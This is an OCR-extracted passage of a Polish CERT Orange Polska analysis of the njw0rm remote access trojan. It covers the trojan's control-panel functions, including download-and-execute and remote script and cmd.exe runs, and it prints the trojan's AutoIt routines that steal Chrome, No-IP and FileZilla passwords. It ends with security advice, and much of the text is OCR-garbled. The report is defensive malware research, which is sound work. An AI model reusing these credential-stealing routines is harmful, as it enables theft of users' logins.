77 61 62 63 64 65 66 67 63 69 6a 6b 6c 6d 62 6f wabcdefg hijklmne
78 71 72 73 74 75 76 77 61 62 63 64 65 66 67 68 pgrstuvw abcdefgh
69 6a 6b 6c 6d 6e 6T 78 71 72 73 74 75 76 77 61  ijklmnop gqrstuvwa
62 63 64 65 66 67 68 69 6Ga 6b 6c 6d 6e 6F 78 71  bcdefghi jklmnopg
GeEe F2 73 74 75 76 77 61 62 63 64 65 66 67 68 69 6Ga rstuvwab cdefghij
@292 6b 6c 6d 6e 6T 7@ 71 72 73 74 75 76 77 61 62 63 klmnopgr stuvwabc
G@al B4 65 BB 67 BB 69 ba 6b 6c 6d 6e 6F 78 71 72 73 defghijk lmnopgrs
Bebe 74 75 76 77 61 62 63 B4 65 66 67 68 69 6a 6b Bc tuvwabed efghijkl
2oct ed 6e &6 78 7L 72 73 74 75 76 77 61 62 63 64 65  mnopqrst uvwabcde
20d0 66 67 6B 69 6a 6b 6c 6d Ge 6f 7@ 71 72 73 74 75 fghijklm nopgrstu
Gt 76 77 61 62 63 64 65 66 67 68 69 6a 6b 6c 6d Ge vwabcdef ghijklmn
cofe ef 7@ 71 72 73 74 opgrst
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Download execute. Umozliwia botmasterowi zdefiniowanie w Command&Control adresu
serwera, z ktérego ma by¢ pobrany inny plik ze ztosliwym kodem. W tym przypadku pobrano i
uruchomiono na zainfekowanym komputerze aplikacje ,putty.exe” z lokalizacji
https://theearth.li/~sqtatham/putty/latest/w32/putty.exe

A njwlrm v3.5 Online[ 1 ] CON[1 ] Spread[ 20,0 ] Sel[1 ]

Name P Country | OS5 Ver. | USB | Active Window
IE_10_update_4... 10.0.2.15 WIN_7 X386 SP1 3. Program Manager

B Download And Run
Link
https://the earth li/~sgtatham/puttylatest/w32/p

Run As

18.8.2.15:49193 New Connection
18.9.2.15:49193

18.8.2.15:49631 New Connection
18.8.2.15:49631

Nastepnie plik zostat umieszczony w lokalizacji tymczasowe] zainfekowanego systemu (folder
Temp z nazwg pliku losowo zmieniong na sbekzhpjft.exe

e
@\_)i‘ » Komputer » Dysklokalny (C:) » Uzytkownicy » Iwo Graj » AppData » Local » Temp I v|+9|| Przeszukaj: Temp

Organizuj » Urnieéé w bibliotece v Udostepnij « Nowy folder

7
-

¢ Ulubione Mazwa Data modyfikacji Typ Rozmiar

= Ostatnie migjsca I @ shekzhpjft.exe 2017-05-1013:22 Aplikacja 696 KB I
4 Pobrane
B Pulpit

= Biblioteki
=| Dokumenty
@' Muzyka E
=] Obrazy
BB wideo

*d Grupa demowa
1% Komputer

€ Siec o

1 element Stan: 38 Udostepniony
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a nastepnie uruchomiony zostat na zainfekowanym komputerze:

ﬁ PuTTY Configuration

Category:
|- Session Basic options for your PuTTY session

- Terminal Specify the destination you want to connect to
=] Termina

. Kevboard Host Mame (or IP address) Port
. Bell | 22

- Features Connection type:

= Window Raw Telnet Rlogin @) S5H Serial
- Appearance
- Behaviour
- Tranglation
- Selection

- Colours Default Settings |F
- Connection —

.. Data | Save
. Prowy e —

Load, save or delete a stored session
Saved Sessions

| Delete

Close window on exit:
Always Mewver @ Only on clean exit

Cpen l | Cancel

Autolt Script. Uruchomienie na komputerze ofiary dowolnego skryptu przez kod Autolt. W tym
przypadku jest to wywotanie zmodyfikowanego okna dialogowego systemu Windows za pomoca
funkcji MsgBox, ta funkcja daje jednak atakujgcemu znacznie wieksze mozliwosci, jak np.
uruchomienie kolejnego ztosliwego skryptu. Na potrzeby analizy wywotano okno dialogowe o
nazwie ,Analiza Wirusa” z komunikatem ,ANALIZA NjwOrm Dla CERT Orange Polska. Wywotanie
skryptu MsgBox Autoit na potrzeby analizy”

B Autoit Script = (=] ||

ILMSQBD\X[SMB_SYSTEMMODAL. "Analiza Wirusa", "ANALIZA MNjwlm Dla CERT Orange Polska” & @CRLF & "Wywolanie sknyptu MsgBox Autolt -

na potrzeby analizy™)

Execute

Cancel

8 Logs = =1 22

18.8.2.15:4%416 Mew Connection -
18.8.2.15:49416
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Efektem dziatania tej funkcji jest wywotanie okna dialogowego po stronie zainfekowanego
komputera uzytkownika.

5 Analiza Wirusa @

AMNALIZA Njwlrm Dla CERT Crange Polska
Wywotanie skryptu MsgBox Autolt na potrzeby analizy

Script. Dla przedstawienia jej dziatania wykorzystano przyktad otwarcia poprawnej bezpiecznej
witryny za pomoca linii polecen, przestepca mogtby w ten sposéb wywotaé witryne phishingowg,
zachecajac ofiare do zalogowania sie i pozostawienia loginu i hasta, np. do banku.

B nj»0rm v3.5 Online[ 1] CON[1 ] Spread[ 0,0 ] Sel[1]
Name P Country | OS5 Ver. | USB
IE_10_update_4... 10.0.2.15

Script

Execute cmd.exe
Ic start www.google.com, or./c del %temp\* vbs

| |,-"c: start https://www cert.orange pl/czymest-cer|

B Logs

18.8.2.15:49163 New Connection
18.8.2.15:49163

CERT OPL, Analiza NjwOrm; Autor: Iwo Graj Strona 18 z 22



Orange Polska S.A.
Bezpieczenstwo Systemow Teleinformatycznych / Wydziat Operacji Bezpieczenstwa

orange”

Po  wydaniu polecenia ze zdefiniowanym adresem i komendy /c  start
https.//www.cert.orange.pl/czym-jest-cert po stronie uzytkownika uruchamia sie witryna.

11 [ g /v ceoranget 0 = @ Orange P.. © || I CERT Orange Potks (i5.3
& CERT 3 S v g =i Zalogu) sig do uslug ~
v \! Stat  Conowego' Bwawedzy - MNazedza - Usgl CERT -  Kontakt yoerTarcza PR

Czym jest CERT CERT Orange Polska (Computer Emergency Response Team) to
specjalistyczna jednostka w strukturach Orange Polska,
odpowiedzialna za bezpieczenstwo uzytkownikéw internetu,

. korzystajacych z sieci operatora.
1 misja: podnoszenie poziomu bezpieczenstwa
infrastruktury informacyjnej i pewnosci
Misja CERT Orange Polska komunikowania sie spotecznosci internetowej
Nosse cole Orange Polska
2 CERT Orange Polska monitoruje zagrozenia dla bezpieczefistwa systeméw podiaczonych
Zakres dziatania D do sieci Orange Polska (przestrzen adresowa IP przydzielona Orange Polska: AS5617.
AS29535, AS33900, AS43447, AS12743 - RIPE NCC) | reaguje na wykryle zagrozenia, w
Oswiadczenie szczegbinoscl na Incydenty zglaszane przez uzytkownikow siecl. Gidwnym zadaniem
zespolu jest podejmowanie niezbednych dziatan w sytuacjach zagrozenia
cyberbezpieczenstwa
v

Get passwords. Umozliwia kradziez danych uwierzytelniajgcych (login+hasto) z trzech typéw
oprogramowania:

e przegladarki Google Chrome (ponizszy kod odczytuje przechowywane w przegladarce Google
Chrome dane)

Func chrome(
Local $gq, $r, spwds
If FileExists(spin
_sglite_startup(
_sglite_open($pfn
_sglite_guery(-1, "SELECT * FROM logins;™, &g
While _sglite_fetchdata(sg, 5r) = 0

$pwds = $pwds & "URL: ™ = $r[0] = 8y & "USR: ™ & $r[3] = $y & "PWD: ™ & uncryptrdppassword($r[5]) = $y

WEnd
_sglite_close(
_sglite_shutdown(
Return $pwds

EndFunc

False Then Return ""

by nastepnie, za pomocg APl w postaci funkcji uncryptrdppassword() odszyfrowaé hasta
szyfrowane algorytmem Triple-DES

Func uncryptrdppassword ($bin)
Local Const $cryptprotect_ui_forbidden = 1
Local Const §data blob = "int;prr”

Local $passstr = DllStructCreate ("byte[1024]"
Local $datain = DllStructCreate ($data blob
Local $dataout - DllStructCreate (§data blob!
$pwdescription = "paw"

$pwdhash = ""

Dl1StructSetData(sdatacut, 1, 0
DllStructSetData $datacut, 2, 0
DllStructSetData($passstr, 1, sbin)

D1l ($datain, 2, DIl tE 1
DllStructSetData(sdatain, 1, BinarylLen($bin
$return = D11Call("crypt32.d1l”, "int", "CryptUnprotectData”, "ptr”, DllStructGetPrr(é¢datain), "per”, 0, "ptr", 0, "ptr”, 0, "ptr”, 0, "dword", scryptprotect ui_forbidden, "ptr”, DllStructGetPrr|sdatacut)

If Berror Then Return "
$len = DllStructGetData($datacut, 1
spwdhash = PtriDllStructGetData(sdataout, 2

$pwdhash = Dl1StructCreate ("byte[" = §len = "]", $pwdhash)
Return BinaryToString (Dl1StructGetData (¢pwdhash, 1), 4
EndFunc
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e ustugi No-ip (ustuga dynamicznych domen DNS). Login i hasto znajdujgce sie w odpowiedniej
Sciezce rejestru systemu Windows:
Func noip
spusr = RegRead ("HKEY_ LOCAL MACHINEWSOFIWARE\Vitalwerks\DUC", "Username"
f $pusr = "" Then Return "™
sppwd = RegRead ("HEEY LOCAL MACHINE\SOFIWARRE\Vitalwerks\DUC", “Password™
Return "URL: http://no-ip.com/™ & $y & "USR: ™ & $pusr & $v & "PWD: /base6d™ & $ppwd = $v
EndFunc

e klienta ftp Filezilla. Ponizej szczegdétowy przyktad odczytu i wykradania danych
uwierzytelniajgcych do serwerdw FTP. Wirus odczytuje z pliku o nazwie recentservers.xml z
lokalizacji AppData z katalogu FileZilla nastepujgce wiersze: <Host> (adres serwera FTP),
<Port> (port potaczenia z serwerem FTP) , <User> (nazwa uzytkownika) oraz <Pass> (hasto)

Func filezilla

Lecal épwds = ", #h, $pin = EnvGet ("appdata™) & "\FileZilla\recentservers.xml"
If FileExists(¢pfn) = False Then Return ""
$h = FileCpen($pfn, 0
If sh = -1 Then Return ""
$phost = ™
$pport = 21
$pusr = ""
4ppass = ""
While True
sline = FileReadLine (¢h
If @error = -1 Then ExitLoop

If StringInStr($line, "<Host>") Then
spusr = "
Fppas

fpport = 21
sphost = StringMid(#line, 1, StringInStr(sline, "</") - 1
$phost = StringMid(¢phost, StringInStr(sphost, ">") + 1
EndIf
If StringInStr(§line, "<Port>"] Then
$pport = StringMid(sline, 1, StringInStr(sline, "</") - 1
spport = StringMid(Spport, StringInStr(spport, ">") + 1
EndIf
If StringInStr($#line, "<User>") Then
$pusr - StringMid($line, 1, StringInStr($lime, "</") - 1
$pusr — StringMid(Spusr, StringInStr($pusr, ">") + 1
EndIf
If StringInStr(fline, "<Pass>"] Then
¢ppass = StringMid(¢line, 1, StringInStr(tline, "</") - 1
$ppass = StringMid(éppass, StringInStr(sppass, ">") + 1
EndIf
If StringInStr(fline, "</Server>") Then
$pwds = $pwds = "URL: ftp://" = $phost & ":” & $pport & Sy & "USR: " & Spusr c 5y & "PWD: " : Sppass & 5Y
EndIf
WEnd
Return $pwds
EndFunc
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Ponizej zawartos¢ pliku ,recentservers.xml” z jego docelowa lokalizacja w drzewie katalogow
C:\Uzytkownicy\Nazwa Uzytkownika\AppData\Roaming\FileZilla. Zawiera on doktadnie te same
wiersze, ktére odczytuje wirus, zawarte w opisywanym wczesniej zrédle kodu wirusa wraz z
nazwa serwera FTP, jego portem, loginem uzytkownika oraz hastem.

(== >
@Q.I\ + Komputer » Dysk lokalny (C:) » Uzytkownicy » Iwo Graj » AppData + Roaming ¢ FileZilla | - [43 | [ Praeszukaj: FiteZitia 2|
e L e e e e =~ 0 @
T 4 Nazws Datamodyfikacii  Typ Rozmiar
% Ostatnie miejsca =) filezillaxml 2017-05-111201  Dokument XML 9k8
& Pobrane =/ layoutaml 2017-05-111156  Dokument XML 18
B Pulpit it 2017-05:101312  PlikSOUTES 28K
I =/ recentserversam 2017-05-111201  Dokument XML 1K
= Biblioteki
| cAwsers\wo Graj\AppData\Roaming\FileZilla\recentservers.xml - Notepad-+ (=N EER~==]
File Edit Sesrch View Encoding Language Settings Tools Macro Run Plugins Window ? x
o5 sl B g2 x| BREISIEDDALD®| B i

H recentservers xml 3 ‘

<?xml version="1.0" encoding="UTF-8"2>

2 %(Filszillai
2 B e
6

n="3.25.2" platform="windows">

<Port>21</POrt>

<Protacal>0</Protocol>

<Iype>0</Type>

<User>anonumons<,User>

<Pass encoding="basefd">YWSvbnltb3Vz</Pass>

<Logentype>1</Logontype>

Tim Of£5e£>0</Tim Offset>
<PasvMode>MODE_DEFAULT</Pasviodse>
1tipleC t1o0ns>0</ Maxi mltipleC cions>

<EncodingType>Auto</EncodingType>
<BypassProxy>0</BypassPIoxy>
</Servers

16
8 H <Server:
] <HoSt>Itp.gnu.orgs/Host>

<Port>21</Port>
<Protocel>0</Protocol>

<Type>0</Type>

5 <Logontype>:
26 Tim Offsec>0</Tim Offset>
7 <PasvModeyMODE_DEFAULT</Pasviode>

1tipleC £1on5>0</Maxi ltipleC tions>
<EncedingType>Auto</EncodingType>
<BypassProxy>0</BypassProxy>
</Servers
</RecentServers>
L</Filezilla3>

CERT Orange Polska radzi:

CERT Orange Polska stanowczo zaleca uzywanie oprogramowania antywirusowego i jego statg
aktualizacje, ktére z duzym prawdopodobienstwem pomoze unikng¢ kolejnych infekcji ztosliwym
oprogramowaniem i/lub pomoze zminimalizowac skutki infekcji. Zaleca réwniez stosowanie
oprogramowania typu firewall, ktérego zadaniem jest zablokowanie niechcianego ruchu
sieciowego.

Warto podkresli¢c po raz kolejny, ze nigdy nie nalezy otwieraé zatgcznikéw z maili, co do
ktdrych pochodzenia nie mamy 100% pewnosci. Jesli nagle otrzymujesz drogg elektroniczng
informacje o paczce, ktérej nigdy nie zamawiates, wygranej w loterii w ktérej nie brate$ udziatu,
fakturze od operatora z ktérego ustug nie korzystasz, rachunku za co$ czego nie kupowates itp.
warto przezwyciezy¢ ciekawosé i taki mail po prostu od razu usungé, lub przestaé do nas na adres:
cert.opl@orange.com
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orange”

W przypadku tej kampanii, uzytkownicy Orange, ktérzy dostali ztosliwy zatacznik i go
uruchomili sg chronieni przed wyciekiem swoich danych za pomocg CyberTarczy.

W przypadku braku oprogramowania antywirusowego zalecana jest rowniez instalacja i
przeskanowanie swojego systemu operacyjnego pod katem zto$liwego oprogramowania, ktére
moze znajdowac sie na komputerach uzytkownikéw, ktérzy uruchomili analizowany malware.
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